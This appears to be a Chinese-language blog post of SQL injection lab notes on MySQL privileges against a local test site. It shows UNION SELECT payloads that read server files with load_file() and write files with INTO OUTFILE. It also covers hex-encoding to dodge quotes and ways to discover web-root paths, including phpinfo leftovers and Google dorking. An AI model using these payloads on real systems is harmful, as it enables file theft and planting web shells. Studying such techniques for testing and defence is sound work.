zoukankan      html  css  js  c++  java
  • Sql注入_mysql权限入侵

    实验:测试不同数据库用户的操作权限

    文件读写测试:load_file() ,into outfile

    数据库用户账号密码存储在mysql.user

    Mysql最高权限用户root

    Mysql普通权限用户test:

    无权限文件读写

     

    注入点数据库用户权限由什么决定?

    连接数据库用户决定

    Mysql注入点进行文件读写操作:

    条件:root权限注入点

    读取操作:
    
    http://127.0.0.1/sqlin/mysql/index.php?x=1 union select load_file('d:/www.txt'),2,3
    
    
    写入语句:
    
    http://127.0.0.1/sqlin/mysql/index.php?x=1 union  select "a",2,3 into outfile "d:/www1.txt"
    

    注意事项:

     

    1. 路径符号问题

     

    使用“/”或 “\”

     

    不使用“

     

    原因:编程中“多半是转义,如: 换行

     

     

     

    1. 编码问题

    http://127.0.0.1/sqlin/mysql/index.php?x=1 union  select "a",2,3 into outfile "d:/www1.txt"
    
    如果要写入数据中带有单引号,怎么办?
    
    编码解决!(用编码即不用单引号)
    
    如果要写入 a'   需要编码后写入  小葵 16进制 hex
    
    http://127.0.0.1/sqlin/mysql/index.php?x=1 union  select 0x6127,2,3 into outfile "d:/www1.txt"
    

     

    网站路径获取方法:

     

    1. 遗留文件

     

    一般在网站根目录下,命名有php.php info.php

     

    phpinfo.phptest.php php_info.php等。

     

    2.报错显示

    3.漏洞暴路径

    4.读取搭建平台配置文件

     

     5.谷歌黑客,字典猜解

     

    D:/www/

    D:/wwwroot/

    D:/web/

     


  • 相关阅读:
    java锁类型
    Java线程池
    1 Navicat12 过期了怎么办
    N1-二维数组查找
    SQL-59 按照salary的累计和running_total,其中running_total为前两个员工的salary累计和,其他以此类推。
    SQL-58 获取有奖金的员工相关信息。
    SQL-57 使用含有关键字exists查找未分配具体部门的员工的所有信息。
    SQL-56 获取所有员工的emp_no、部门编号dept_no以及对应的bonus类型btype和recevied,没有分配具体的员工不显示
    SQL-55 分页查询employees表,每5行一页,返回第2页的数据
    SQL-54 查找排除当前最大、最小salary之后的员工的平均工资avg_salary。
  • 原文地址:https://www.cnblogs.com/cui0x01/p/8623115.html
Copyright © 2011-2022 走看看